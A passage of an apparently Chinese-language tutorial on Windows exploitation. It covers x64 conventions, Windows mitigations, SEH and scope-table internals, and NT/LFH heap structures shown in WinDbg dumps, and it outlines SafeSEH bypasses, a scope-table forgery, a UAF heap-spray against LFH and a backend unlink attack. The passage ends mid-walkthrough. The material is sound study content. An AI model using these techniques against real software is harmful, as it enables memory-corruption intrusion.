环境搭建
常用的调试器就是windbg,gdb
。
基本知识 函数调用约定 x64
模式下只有一种调用方式就是fastcall
。在发生函数调用的时候前四个参数通过寄存器RCX,RDX,R8,R9
传递剩下的通过栈传递。函数的返回值保存在RAX
寄存器中。
如果返回值为较大的值(结构体),那么由调用方在栈上分配空间,并将指针通过RCX
传递给被调用函数,被调用函数通过RAX
返回该指针
栈需要十六字节对齐,但是call
之后会push
八字节的返回地址,但是这样的情况下栈就没办法对齐了,因此所有的非叶子节点调用函数都需要调整栈帧为16n+8
。
对于 R8-R15
寄存器,我们可以使用 r8, r8d, r8w, r8b
分别代表r8
寄存器的64
位、低32
位、低16
位和低8
位
一般情况下x64
平台中RBP
栈指针被废弃,只作为普通的寄存器使用,所有的栈操作都通过RSP
指针完成。
调用者负责清理栈帧,被调用者不用清理栈帧,但是有时候调用者不一定会清理栈帧。这是因为与通过 PUSH
和 POP
指令在堆栈中显式添加和移除参数的x86
编译器不同,x64
模式下,编译器会预留足够的堆栈空间,以调用最大目标函数(参数方法)所使用的任何内容。随后,在调用子函数时,它重复使用相同的堆栈区域来设置这些参数,从而实现不用调用者反复清栈的过程。
1 2 3 4 5 func3(int a, double b, int c, float d, int e, float f); func4(__m64 a, __m128 b, struct c, float d, __m128 e, __m128 f);
windows保护
ASLR
,地址随机化,在程序启动的时候将DLL
随机加载到内存中
High Entropy VA
保护,如果该保护开启,则表示程序的随机化地址为64bit
Force Integrity
强制签名保护,程序运行时检查签名,如果签名不正确,则阻止程序运行
Isolation
隔离保护,开启此保护则表示程序将会在一个相对独立的环境下运行,从而阻止攻击者过度提升权限
NX/DEP/PAE
不可执行保护,PAE
是物理地址扩展,允许某些32
位的程序访问超过4GB
的物理内存区域。
SEHOP
结构化异常处理保护,以一种SEH
扩展的方式,通过对程序使用中的SEH
结构体进行检查,来判断SEH
是否收到了攻击
CFG
控制流防护,在程序发生跳转之前根据CFG
判断将要跳转的地址是否合法
RFG
返回地址保护,会在每个函数头部将返回地址保存到fs:[rsp]
,并在函数返回前将返回地址与保存的地址进行比较
SafeSEH
安全结构化异常处理,以一种白名单的方式,事先定义一些异常处理程序并加入到安全结构化异常处理表中,表外的异常处理都会被阻止
GS
类似于Canary
,检测是否发生栈溢出
Authenticode
签名保护
.NET
,DLL
混淆级保护
导入表和导出表 Windows
没有延迟绑定,也就不存在PLT/GOT
表。Windows
调用库函数需要借助的就是导入表和导出表了。导入表是PE
文件中比较重要的一个部分,是专门为实现代码重用而设计的。Windows
加载器在运行PE
文件的时候会将导入表中声明的函数一并加载到进程的地址空间中,并修正指令代码中地调用函数地址。
导入表即IAT
可以从IDA
中查看,一般用此泄露出相关动态链接库的基址,位于idata
段。
结构化异常处理 结构化异常处理是Windows
上用于处理异常事件的结构体。
TIB结构 TIB
即线程信息块,用来保存线程的基本信息。TEB
是系统为了保存每个线程的私有数据创建的,每个线程都有自己的TEB
。TIB
实际上被包含在TEB
结构体的首部。其结构体如下
1 2 3 4 5 6 7 8 9 10 11 12 typedef struct _NT_TIB { struct _EXCEPTION_REGISTRATION_RECORD *Exceptionlist ; PVOID StackBase; PVOID StackLimit; PVOID SubSystemTib; union { PVOID FiberData; ULONG Version; }; PVOID ArbitraryUserPointer; struct _NT_TIB *Self ; } NT_TIB;
FS:[0]
即指向了当前线程的SEH
链,FS:[0x18]
即指向了TEB
结构体。
可以看到结构体的第一个成员变量就是SEH
链的起始地址,其数据类型为_EXCEPTION_REGISTRATION_RECORD
结构体指针。结构体如下
1 2 3 4 typedef struct _EXCEPTION_REGISTRATION_RECORD { struct _EXCEPTION_REGISTRATION_RECORD *Next ; PEXCEPTION_ROUTINE Handler; }EXCEPTION_REGISTRATION_RECORD;
这可以很形象的表示了一个SEH
链,第一个元素Next
指针指向下一个SEH
结构体,如果Next
为0xFFFFFF
则表示SEH
链结束。第二个成员变量则表示当前SEH
结构体的异常处理函数
Windows 异常处理流程 异常处理流程:
CPU
在执行过程中遇到异常,则内核接过进程的控制权开始进行内核的异常处理
内核异常处理结束,将控制权返还给ring3
ring3
中第一个处理异常的函数是ntdll.dll
中的KiUserExceptionDispatch
函数,该函数首先判断是否存在调试器,若存在则将异常交给调试器处理。
非调试状态下,调用RtlDispatchException
函数进行异常分发。该函数对线程的SEH
链表进行遍历,如果能够找到对应的处理异常的回调函数,则调用unwind
函数再次遍历之前的SEH
链表,维护异常处理机制的完整性。接着调用异常处理函数进行异常处理。异常处理成功则返回继续执行指令,否则继续遍历SEH
链表。
若SEH
都失败了,且线程中曾经使用SetUnhandleExceptionFilter
函数,则调用该函数进行异常处理。
如果用户自定义的异常处理函数失败,或者用户根本就没有设置,则调用系统默认的异常处理函数UnhandledExceprionFilter(U.E.F)
,该函数根据注册表中的设定决定是关闭程序还是弹出错误对话框。
微软在WindowsXP
之后再SEH
基础上增加了一种新的异常处理V.E.H
即向量化的异常处理。多个VEH
结构体组成双向链表。其优先级仅次于调试器处理,即KiUserExceptionDispatch
函数首先检查是否存在调试器,然后检查VEH
链表,最后检查SEH
链表。并且用户在注册VEH
异常处理的时候可以指定其在双向链表中的位置。值得注意的是VEH
保存在堆中。
unwind
函数的调用是为了维护异常处理机制的完整性,如果不存在unwind
函数,当SEH
链表中的handler
能够正确处理异常,或者发生嵌套异常处理的时候,所发生的函数调用会破坏原有的栈中保存的SEH
链表,因此unwind
函数会在真正处理异常之前将之前的的SEH
结构体从链表中逐个删除,在拆除之前会给异常处理函数释放资源,清理现场的机会,因此异常处理函数会被调用两次,第一轮调用是用来尝试处理异常,而第二轮的unwind
调用往往执行的是释放资源的操作。
这些信息都保存在一个维护异常信息的结构体中,作为回调函数的第一个参数传入。
1 2 3 4 5 6 7 8 typedef struct _EXCEPTION_RECORD { DWORD ExceptionCode; DWORD ExceptionFlags; struct _EXCEPTION_RECORD *ExceptionRecord ; PVOID ExceptionAddress; DWORD NumberParameters; ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS]; } EXCEPTION_RECORD;
SafeSEH 在调用异常处理函数之前进行一系列的有效性验证,当异常处理函数不可靠的时候则终止异常函数的调用。该保护需要编译器和操作系统的双重支持。编译器在编译程序的时候将所有的异常处理的函数地址编入一张安全的S.E.H
表,并将这张表放入到程序的映像中。当程序调用异常处理函数的时候会将函数地址与S.E.H
表进行匹配。
绕过SafeSEH
攻击返回地址绕过SafeSEH
覆写虚函数绕过
从堆中绕过。如果异常函数指针指向堆区,即使安全校验发现S.E.H
已经不可信,仍然会调用其他已经被修改的异常处理函数,因此直接将shellcode
部署到堆区即可直接跳转执行。
利用未启用SafeSEH
模块绕过SafeSEH
利用模块加载之外的地址绕过SafeSEH
,当异常处理函数指针指向类型为MAP
的映射文件的时候是不会对其进行有效性验证的。
SEHOP SEHOP
的任务是通过检查SEH
链的最后一个个异常处理函数是否为系统固定的终极异常处理函数来判断SEH
链是否完整
SEH scope Table scopeTable
结构体中保存了__try
块相匹配的__except,__finally
的值,在main
函数开始的入口就被压入到栈中,
可以看到,在main
函数起始的位置首先设置了secoeTable
的地址和异常处理函数except_handler4
的地址,随后对secopeTable
的地址与security_cookie
进行了异或加密,然后放入了GS
的值(ebp^security_cookie
),之后再ebp-0x10
的位置放入了SEH
链的起始地址也就是fs:0
。其中secopeTable
的结构体如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 struct _EH4_SCOPETABLE { DWORD GSCookieOffset; DWORD GSCookieXOROffset; DWORD EHCookieOffset; DWORD EHCookieXOROffset; _EH4_SCOPETABLE_RECORD ScopeRecord[1 ]; }; struct _EH4_SCOPETABLE_RECORD { DWORD EnclosingLevel; long (*FilterFunc)(); union { void (*HandlerAddress)(); void (*FinallyFunc)(); }; };
其中FilterFunc
和FinallyFunc
是自定义的__except,__finally
的值。在ida
中的如下
1 2 3 4 5 6 7 8 .rdata:00402630 _EH4_SCOPETABLE_addr dd 0FFFFFFFEh ; GSCookieOffset .rdata:00402630 ; DATA XREF: sub_4017E5+2↑o .rdata:00402630 dd 0 ; GSCookieXOROffset ; SEH scope table for function 4017E5 .rdata:00402630 dd 0FFFFFFD8h ; EHCookieOffset .rdata:00402630 dd 0 ; EHCookieXOROffset .rdata:00402630 dd 0FFFFFFFEh ; ScopeRecord.EnclosingLevel .rdata:00402630 dd offset loc_40184A ; ScopeRecord.FilterFunc .rdata:00402630 dd offset loc_40185D ; ScopeRecord.HandlerFunc
_except_handler4
就是添加的系统默认的异常处理函数,发生异常的时候会首先调用该函数,函数内部就是放入了security_cookie_check
函数指针和security_cookie
的值然后就调用了位于vcruntime140.dll
中的_except_handler4_common
函数
在程序发生异常需要调用__except,__finally
的时候会首先根据security_cookie
解密_EH4_SECOPETABLE
的地址,然后检查存储的GS
值是否正确,当tryLevel=0xfffffffe
的时候就会调用其中存储的FilterFunc,FinallyFunc
函数。具体参考这篇
如果可以伪造一个SECOPETABLE
结构,替换其中的FilterFunc/FinallyFunc
函数指针,并覆盖栈中存储的SECOPETABLE
地址,就可以实现任意函数地址调用。注意到栈中ebp-0x1c
位置存储的GS
的值是和ebp
异或加密过的,因此要泄露GS
的数值首先需要泄露ebp
的数值。
Windows 堆 在windows10
中引入了一种新的堆实现机制称之为段堆,而旧的堆实现机制称之为NT
堆。当前windows apps
和某些特定的进程使用的是段堆,而其他的程序一般使用的是NT
堆,不过可以从注册表中修改。
NT堆 NT
堆可以分为前端Front-End
和后端Back-End
两个管理器,其中前端管理器分为LowFragmentationHeap,LFH
,相当于Linux
中的fastbin
。但是又有不同,这个之后在进行介绍。平常所说的快表指的就是前端管理器,而空表则指的就是后端管理器。
堆结构 windows
中对堆块进行管理的是HEAP_ENTRY
结构体,位于chunk
的头部,64
位下堆头部大小为0x10
字节,32
位下堆头部大小为0x8
字节,以1ead5760720
堆块为例子。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 0:000> !address 1ea`d5760720 Usage: Heap Base Address: 000001ea`d5760000 End Address: 000001ea`d5762000 Region Size: 00000000`00002000 ( 8.000 kB) State: 00001000 MEM_COMMIT Protect: 00000004 PAGE_READWRITE Type: 00020000 MEM_PRIVATE Allocation Base: 000001ea`d5760000 Allocation Protect: 00000004 PAGE_READWRITE More info: heap owning the address: !heap 0x1ead5760000 More info: heap segment More info: heap entry containing the address: !heap -x 0x1ead5760720 Content source : 1 (target), length: 18e0 0:000> !heap -x 0x1ead5760720 Entry User Heap Segment Size PrevSize Unused Flags ------------------------------------------------------------------------------------------------------------ 000001ead5760710 000001ead5760720 000001ead5760000 000001ead5760000 60 710 8 busy
从上面我们可以看到该堆块属于000001ead5760000
的堆中的000001ead5760000
也就是0
号段,用户空间或者说是内容空间从000001ead5760720
开始。windows
中每个堆依靠一个_HEAP
的结构体进行管理,并且至少有一个段Segment
,在创建时就会建立,称之为0
号段。当该段用完时,如果堆是可增长的也就是含有HEAO_GROWABLE
标志就会为该堆再次分配一个段。0
号段的起始位置存储着堆得头信息也就是_HEAP
结构体。每个HEAP
结构体由0
号堆段的_HEAP_SEGMENT
结构体和自己的结构拼接而成,在64
位下,_HEAP_SEGMENT
结构体的大小为0x60
,32
位下为0x40
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 0 :000 > dt _HEAP 1 ead5760000ntdll!_HEAP +0x000 Segment : _HEAP_SEGMENT +0x000 Entry : _HEAP_ENTRY +0x010 SegmentSignature : 0xffeeffee +0x014 SegmentFlags : 0 +0x018 SegmentListEntry : _LIST_ENTRY [ 0x000001ea `d5760120 - 0x000001ea `d5760120 ] +0x028 Heap : 0x000001ea `d5760000 _HEAP +0x030 BaseAddress : 0x000001ea `d5760000 Void +0x038 NumberOfPages : 2 +0x040 FirstEntry : 0x000001ea `d5760710 _HEAP_ENTRY +0x048 LastValidEntry : 0x000001ea `d5762000 _HEAP_ENTRY +0x050 NumberOfUnCommittedPages : 0 +0x054 NumberOfUnCommittedRanges : 1 +0x058 SegmentAllocatorBackTraceIndex : 0 +0x05a Reserved : 0 +0x060 UCRSegmentList : _LIST_ENTRY [ 0x000001ea `d5761fe0 - 0x000001ea `d5761fe0 ] +0x070 Flags : 0x1001 +0x074 ForceFlags : 1 +0x078 CompatibilityFlags : 0 +0x07c EncodeFlagMask : 0x100000 +0x080 Encoding : _HEAP_ENTRY +0x090 Interceptor : 0 +0x094 VirtualMemoryThreshold : 0xff00 +0x098 Signature : 0xeeffeeff +0x0a0 SegmentReserve : 0x100000 +0x0a8 SegmentCommit : 0x2000 +0x0b0 DeCommitFreeBlockThreshold : 0x100 +0x0b8 DeCommitTotalFreeThreshold : 0x1000 +0x0c0 TotalFreeSize : 0x16d +0x0c8 MaximumAllocationSize : 0x00007fff `fffdefff +0x0d0 ProcessHeapsListIndex : 3 +0x0d2 HeaderValidateLength : 0x2c0 +0x0d8 HeaderValidateCopy : (null) +0x0e0 NextAvailableTagIndex : 0 +0x0e2 MaximumTagIndex : 0 +0x0e8 TagEntries : (null) +0x0f0 UCRList : _LIST_ENTRY [ 0x000001ea `d57600f0 - 0x000001ea `d57600f0 ] +0x100 AlignRound : 0x1f +0x108 AlignMask : 0xffffffff `fffffff0 +0x110 VirtualAllocdBlocks : _LIST_ENTRY [ 0x000001ea `d5760110 - 0x000001ea `d5760110 ] +0x120 SegmentList : _LIST_ENTRY [ 0x000001ea `d5760018 - 0x000001ea `d5760018 ] +0x130 AllocatorBackTraceIndex : 0 +0x134 NonDedicatedListLength : 0 +0x138 BlocksIndex : 0x000001ea `d57602c0 Void +0x140 UCRIndex : (null) +0x148 PseudoTagEntries : (null) +0x150 FreeLists : _LIST_ENTRY [ 0x000001ea `d57607e0 - 0x000001ea `d5760960 ] +0x160 LockVariable : (null) +0x168 CommitRoutine : 0x2a08af0f `aa087430 long +2 a08af0faa087430 +0x170 StackTraceInitVar : _RTL_RUN_ONCE +0x178 CommitLimitData : _RTL_HEAP_MEMORY_LIMIT_DATA +0x198 FrontEndHeap : (null) +0x1a0 FrontHeapLockCount : 0 +0x1a2 FrontEndHeapType : 0 '' +0x1a3 RequestedFrontEndHeapType : 0 '' +0x1a8 FrontEndHeapUsageData : (null) +0x1b0 FrontEndHeapMaximumIndex : 0 +0x1b2 FrontEndHeapStatusBitmap : [129 ] "" +0x238 Counters : _HEAP_COUNTERS +0x2b0 TuningParameters : _HEAP_TUNING_PARAMETERS 0 :000 > dt _HEAP_SEGMENT 1 ead5760000ntdll!_HEAP_SEGMENT +0x000 Entry : _HEAP_ENTRY +0x010 SegmentSignature : 0xffeeffee +0x014 SegmentFlags : 0 +0x018 SegmentListEntry : _LIST_ENTRY [ 0x000001ea `d5760120 - 0x000001ea `d5760120 ] +0x028 Heap : 0x000001ea `d5760000 _HEAP +0x030 BaseAddress : 0x000001ea `d5760000 Void +0x038 NumberOfPages : 2 +0x040 FirstEntry : 0x000001ea `d5760710 _HEAP_ENTRY +0x048 LastValidEntry : 0x000001ea `d5762000 _HEAP_ENTRY +0x050 NumberOfUnCommittedPages : 0 +0x054 NumberOfUnCommittedRanges : 1 +0x058 SegmentAllocatorBackTraceIndex : 0 +0x05a Reserved : 0 +0x060 UCRSegmentList : _LIST_ENTRY [ 0x000001ea `d5761fe0 - 0x000001ea `d5761fe0 ] 0 :000 > dq 1 ead5760000000001 ea`d5760000 00000000 `00000000 0100 ab44`af39da5d000001 ea`d5760010 00000000 `ffeeffee 000001 ea`d5760120000001 ea`d5760020 000001 ea`d5760120 000001 ea`d5760000
从中我们可以看到,尽管是_HEAP
结构体也是包含_HEAP_ENTRY
即堆块头部的,并且该头部也进行了加密。来看一下堆块的头部_HEAP_ENTRY
。Entry-User
这个空间中就是堆头部数据,但是为了防止堆溢出,windows
对堆头部进行了加密,加密的方法是和HEAP->ENCODING
保存的数据进行异或加密。
1 2 3 4 0 :000 > dq 000001 ead5760710 l2000001 ea`d5760710 00000000 `00000000 0800 ab35`d839da2a0 :000 > ?0800 ab35`d839da2a^0000 ab44`df38da2cEvaluate expression: 576461237752233990 = 08000071 `07010006
1 2 3 4 5 6 7 8 9 10 11 12 0 :000 > dt _HEAP_ENTRYntdll!_HEAP_ENTRY +0x000 UnpackedEntry : _HEAP_UNPACKED_ENTRY +0x000 PreviousBlockPrivateData : Ptr64 Void +0x008 Size : Uint2B +0x00a Flags : UChar +0x00b SmallTagIndex : UChar +0x008 SubSegmentCode : Uint4B +0x00c PreviousSize : Uint2B +0x00e SegmentOffset : UChar +0x00e LFHFlags : UChar +0x00f UnusedBytes : UChar
堆块真正的size
是堆头中存储的size*align
,在这里64
位也就是0x6*0x10=0x60
大小。flag
位是01
表示堆块正在使用中,07
是一个校验值,0x71
表示上一个堆块的大小是0x710
。其中flag
的值对应的结果如下
01-HEAP_ENTRY_BUSY
堆块处于占用状态
02-HEAP_ENTRY_EXTRA_PRESENT
该块存在额外的描述
03-HEAP_ENTRY_FILE_PATTERN
使用固定模式填充堆块
08-HEAP_ENTRY_VIRTUAL_ALLOC
虚拟分配的堆块virtual allocation
10-HEAP_ENTRY_LAST_ENTRY
表示是该段的最后一个堆块
由于64
位下堆块需要0x10
对齐,因此0x10
大小的堆头的前八字节可以用于保存上一个堆块的User Data
。再来看一个free
状态下的堆块
1 2 3 4 5 6 7 8 0 :000 > !heap -x 0x1ead57607e0 Entry User Heap Segment Size PrevSize Unused Flags ------------------------------------------------------------------------------------------------------------ 000001 ead57607d0 000001 ead57607e0 000001 ead5760000 000001 ead5760000 60 60 0 free 0 :000 > dq 000001 ead57607d0 l2000001 ea`d57607d0 00000000 `00000000 0000 ab42`d938da2a0 :000 > ?0000 ab42`d938da2a^0000 ab44`df38da2cEvaluate expression: 25870467078 = 00000006 `06000006
free
状态下的堆块中flag
位置设置为了00
,相应的SmallTagIndex
的值也需要发生变化,该块的前一个堆块是0x60
。但是需要注意的是释放之后的堆块与使用中的堆块具有不同的数据结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 0 :000 > dt _HEAP_FREE_ENTRY 000001 ead57607d0ntdll!_HEAP_FREE_ENTRY +0x000 HeapEntry : _HEAP_ENTRY +0x000 UnpackedEntry : _HEAP_UNPACKED_ENTRY +0x000 PreviousBlockPrivateData : (null) +0x008 Size : 0xda2a +0x00a Flags : 0x38 '8' +0x00b SmallTagIndex : 0xd9 '' +0x008 SubSegmentCode : 0xd938da2a +0x00c PreviousSize : 0xab42 +0x00e SegmentOffset : 0 '' +0x00e LFHFlags : 0 '' +0x00f UnusedBytes : 0 '' +0x010 FreeList : _LIST_ENTRY [ 0x000001ea`d5760960 - 0x000001ea`d5760150 ] ntdll!_LIST_ENTRY [ 0x000001ea `d5760960 - 0x000001ea `d5760150 ] +0x000 Flink : 0x000001ea `d5760960 _LIST_ENTRY [ 0x000001ea `d5760150 - 0x000001ea `d57607e0 ] +0x008 Blink : 0x000001ea `d5760150 _LIST_ENTRY [ 0x000001ea `d57607e0 - 0x000001ea `d5760960 ]
主要是增加了一个_LIST_ENTRY
的结构的成员变量FreeList
,这就是双向链表了。这里需要注意的是Flink,Blink
均指向的是_LIst_ENTRY
结构体,也就是说是指向用户空间的起始位置的,并不是和Linux
中一样指向堆头。
这里顺便说一句,通过VIRTUAL_ALLOC
即相当于mmap
分配的堆块的结构体如下
1 2 3 4 5 6 7 8 > 0 :000 > dt _HEAP_VIRTUAL_ALLOC_ENTRY > ntdll!_HEAP_VIRTUAL_ALLOC_ENTRY > +0x000 Entry : _LIST_ENTRY > +0x010 ExtraStuff : _HEAP_ENTRY_EXTRA > +0x020 CommitSize : Uint8B > +0x028 ReserveSize : Uint8B > +0x030 BusyBlock : _HEAP_ENTRY >
那么堆块释放之后就会按照其size
大小被加入到freeList
中,由小到大排列。Windows
下通过堆头部的BlocksIndex
的成员变量(单向链表)起到Linux
中smallbin/largebin
的效果,快速找到相应大小的释放的堆块,其结构体如下,
1 2 3 4 5 6 7 8 9 10 11 0 :000 > dt _HEAP_LIST_LOOKUPntdll!_HEAP_LIST_LOOKUP +0x000 ExtendedLookup : Ptr64 _HEAP_LIST_LOOKUP +0x008 ArraySize : Uint4B +0x00c ExtraItem : Uint4B +0x010 ItemCount : Uint4B +0x014 OutOfRangeItems : Uint4B +0x018 BaseIndex : Uint4B +0x020 ListHead : Ptr64 _LIST_ENTRY +0x028 ListsInUseUlong : Ptr64 Uint4B +0x030 ListHints : Ptr64 Ptr64 _LIST_ENTRY
最终组成的结构体如下
LFH 前端堆分配器的主要目的是为了加速堆块的分配,同时避免堆块过于破碎。当相同大小的堆块分配到一定的数量之后就会使用(连续分配超过十八次)并且只在size<0x4000
的情况下启用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 0 :000 > dt _LFH_HEAPntdll!_LFH_HEAP +0x000 Lock : _RTL_SRWLOCK +0x008 SubSegmentZones : _LIST_ENTRY +0x018 Heap : Ptr64 Void +0x020 NextSegmentInfoArrayAddress : Ptr64 Void +0x028 FirstUncommittedAddress : Ptr64 Void +0x030 ReservedAddressLimit : Ptr64 Void +0x038 SegmentCreate : Uint4B +0x03c SegmentDelete : Uint4B +0x040 MinimumCacheDepth : Uint4B +0x044 CacheShiftThreshold : Uint4B +0x048 SizeInCache : Uint8B +0x050 RunInfo : _HEAP_BUCKET_RUN_INFO +0x060 UserBlockCache : [12 ] _USER_MEMORY_CACHE_ENTRY +0x2a0 MemoryPolicies : _HEAP_LFH_MEM_POLICIES +0x2a4 Buckets : [129 ] _HEAP_BUCKET +0x4a8 SegmentInfoArrays : [129 ] Ptr64 _HEAP_LOCAL_SEGMENT_INFO +0x8b0 AffinitizedInfoArrays : [129 ] Ptr64 _HEAP_LOCAL_SEGMENT_INFO +0xcb8 SegmentAllocator : Ptr64 _SEGMENT_HEAP +0xcc0 LocalData : [1 ] _HEAP_LOCAL_DATA 0 :000 > dt _HEAP_BUCKET ntdll!_HEAP_BUCKET +0x000 BlockUnits : Uint2B +0x002 SizeIndex : UChar +0x003 UseAffinity : Pos 0 , 1 Bit +0x003 DebugFlags : Pos 1 , 2 Bits +0x003 Flags : UChar 0 :000 > dt _HEAP_LOCAL_SEGMENT_INFOntdll!_HEAP_LOCAL_SEGMENT_INFO +0x000 LocalData : Ptr64 _HEAP_LOCAL_DATA +0x008 ActiveSubsegment : Ptr64 _HEAP_SUBSEGMENT +0x010 CachedItems : [16 ] Ptr64 _HEAP_SUBSEGMENT +0x090 SListHeader : _SLIST_HEADER +0x0a0 Counters : _HEAP_BUCKET_COUNTERS +0x0a8 LastOpSequence : Uint4B +0x0ac BucketIndex : Uint2B +0x0ae LastUsed : Uint2B +0x0b0 NoThrashCount : Uint2B 0 :000 > dt _HEAP_SUBSEGMENTntdll!_HEAP_SUBSEGMENT +0x000 LocalInfo : Ptr64 _HEAP_LOCAL_SEGMENT_INFO +0x008 UserBlocks : Ptr64 _HEAP_USERDATA_HEADER +0x010 DelayFreeList : _SLIST_HEADER +0x020 AggregateExchg : _INTERLOCK_SEQ +0x024 BlockSize : Uint2B +0x026 Flags : Uint2B +0x028 BlockCount : Uint2B +0x02a SizeIndex : UChar +0x02b AffinityIndex : UChar +0x024 Alignment : [2 ] Uint4B +0x02c Lock : Uint4B +0x030 SFreeListEntry : _SINGLE_LIST_ENTRY 0 :000 > dt _INTERLOCK_SEQ ntdll!_INTERLOCK_SEQ +0x000 Depth : Uint2B +0x002 Hint : Pos 0 , 15 Bits +0x002 Lock : Pos 15 , 1 Bit +0x002 Hint16 : Uint2B +0x000 Exchg : Int4B 0 :000 > dt _HEAP_USERDATA_HEADER ntdll!_HEAP_USERDATA_HEADER +0x000 SFreeListEntry : _SINGLE_LIST_ENTRY +0x000 SubSegment : Ptr64 _HEAP_SUBSEGMENT +0x008 Reserved : Ptr64 Void +0x010 SizeIndexAndPadding : Uint4B +0x010 SizeIndex : UChar +0x011 GuardPagePresent : UChar +0x012 PaddingBytes : Uint2B +0x014 Signature : Uint4B +0x018 EncodedOffsets : _HEAP_USERDATA_OFFSETS +0x020 BusyBitmap : _RTL_BITMAP_EX +0x030 BitmapData : [1 ] Uint8B CHUNK_HEADER ... CHUNK_HEADER
EncodeOffsets
是如下四个值异或之后的值sizeof(userblock header),LFH keys, Userblock address, _LFH_HEAP address
。
当经过LFH
分配堆块的时候其堆头的数据如下
1 2 3 4 5 6 +0x000 PreviousBlockPrivateData : Ptr64 Void +0x008 SubSegmentCode : Uint4B +0x00c PreviousSize : Uint2B +0x00e SegmentOffset : UChar +0x00e LFHFlags : UChar +0x00f UnusedBytes : UChar
最终的结构体如下
堆分配 这里首先说一下LFH
的初始化,每一次malloc
如果未启用LFH
的话就会在FrontEndHeapUsedData
的对应的size
位加0x21
。当判断FrontEndHeapUsageData[x] & 0x1f > 0x10
的时候也就是分配大于16
次的时候将会在17
次对LFH
进行初始化,创建BlocksIndex
。第18
次分配的时候通过mmap
建立并初始化FrontEndHeap
,初始化SegmentInfoArrays[idx]
,此时FontEndHeapUsedData
中对应size
位置已经变成了0x4
。在第19
次分配的时候将直接从FrontEndHeap
中对应的SegmentInfo
中的ActiveSubsegment
中的UserBlock
中随机返回一个堆块。
主要分为三种情况
size < 0x4000
基本上主要分配都会在RtlpAllocateHeap
。首先会去看该size
对应的FrontEndHeapStatusBitmap
是否启用了LFH
。没有的话则在Size
对应的FrontEndHeapUageData
加上0x21
。并且此时检查值是否超过了0xff00
或者&0x1f>0x10
,通过则启用LFH
。
当启用了LFH
的时候(RtlpLowFragHeapAllocFromContext
函数分配),将首先判断ActiveSubsegment
中是否存在可分配的chunk
(通过ActibeSubsegment->AggregateExchg->depth
判断)。如果不存在则通过CachedItem
更新ActiveSubsegment
。之后取RtlpLowFragHeapRandomData[x]
的值(x
是一字节,该数组存储有随机数据)最后获得的Userblock
中的index
的值RtlpLowFragHeapRandomData[x]*maxidx >> 7
,检查bitmap
是已经分配,如果已经分配则取出的是最近的下一个未分配的堆块,并设置bitmap
。检查(unused byte & 0x3f)!=0
表示该chunk
是free
之后,设置index
和unused data
返回给用户
未启用LFH
的时候则会首先判断ListHint
中是否存在值,如果有刚好适合大小的chunk
在ListHint
则移除ListHint
并且看该chunk->Flink
是否也是同样大小的size
如果是则在ListHint->Flink
中填上该chunk
,不是则清空。最后则unlink
该chunk
,将其从ListHint
链表中删除,设置该chunk
的header
,并返回给用户。
如果ListHint
中对应size
中没有合适的值,则在更大的ListHint
中寻找,如果找到则和上述操作相同。只不过不同的是会将更大的chunk
进行切割,返回切割之后的chunk
。
如果FreeList
中没有则尝试extend heap
即增大heap
的空间,在新增的heap
空间中分配chunk
,切割之后的部分放回ListHint
。
0x4000 < size <= 0xff000
除了没有对LFH
的操作之外,其余与size < 0x4000
相同。
size > 0xff000
该阈值时通过VirtualMemoryThreshold << 4
获取的
直接使用ZwAllocateVirtualMemory
函数进行分配,类似于mmap
一大块,并将其插入到_HEAP_VirtualAllocdBlocks
的链表中
堆释放
size <= 0xff000
如果释放的堆块是LFH
分配的,则在释放的时候首先用chunk header
找到对应的Userblock
,找到对应的Subsegment
。更新chunk header
的unused byte
,清楚对应的bitmap
,更新AggregateExchg
。如果free
的chunk
不属于当前的ActiveSubsegment
,则会看看当前的chunk
是否能够放进cachedItems
,如果可以就放入。
如果是后端堆分配器分配的则先检查alignment
,检查unused byte
判断当前堆块的状态。将FrontEndHeapUsagedData-1
。接着判断前后的chunk
是否为free
状态,如果是的话则进行合并。更新ListHint
。
size > 0xff000
检查该chunk
的linked list
,并将其从_HEAP->VirtualAllocdBlocks
移除,接著使⽤用 RtlpSecMemFreeVirtualMemory
將 chunk
整個 munmap
掉。
LFH 攻击 存在UAF
漏洞。由于LFH
返回的是一个随机的堆块,在这种情况下我们很难利用,但是我们可以首先申请一个堆块A
,然后用B
堆喷满Userblock
,之后free(A),malloc(B)
来返回特定的堆块。也就是通过malloc->free->malloc
的方式。
BackEnd 攻击 unlink unlink
流程如下
首先通过prev_size
找到低地址处的堆块,判断堆块是否为free
状态,如果是则解密prev_chunk header
,验证SmallTagIndex
即对flag,size
进行验证。
检查双向链表的完整性,即prev_chunk->Blink->Flink==prev_chunk->Flink->Blink==prev_chunk
。
找到对应的BlocksIndex
,判断其size
是否合法,即prev_chunk->size < BlocksIndex->ArraySize
。
检查ListHint
。判断其是否是ListHint
指向的第一个堆块,如果是的话则根据prev_chunk->Flink
找到下一个堆块,如果size
相同则更新LinkHint
。
unlink prev_chunk
。prev_chunk->Blink->Flink=prev_chunk->Flink;prev_chunk->Flink->Blink=prev_chunk->Blink
更新prev_chunk->size
和释放堆块相邻高地址处的chunk->prev_size
判断高地址相邻的chunk
是否处于free
将合并后的堆块根据其size
插入到freeList
中对应的位置,同时更新对应的ListHint
。
修改合并后的chunk header
。加密。
我们将堆初始布局如下,首先申请了五个堆块,分别是P,Q,R,S,T
,依次释放Q,S
。此时布局如下,这里图中有些问题,R
堆块的大小应该是0x110
,否则不满足从小到大排列的条件。
之后将Q
的Flink,Blink
分别写为&Q-8,&Q
。也就是buf_list,buf_list+8
的地址。
之后释放P
,此时检测到高地址的堆块是free
状态,会发生合并,那么解密验证堆头部的数据,由于我们没有修改堆头,那么这里的检查是可以通过的,接下来就是进行双向链表完整性的检查Q->Blink->Flink==Q->Flink->Blink==Q
。那么这里可以通过检查。
由于此时ListHint
中的S!=Q
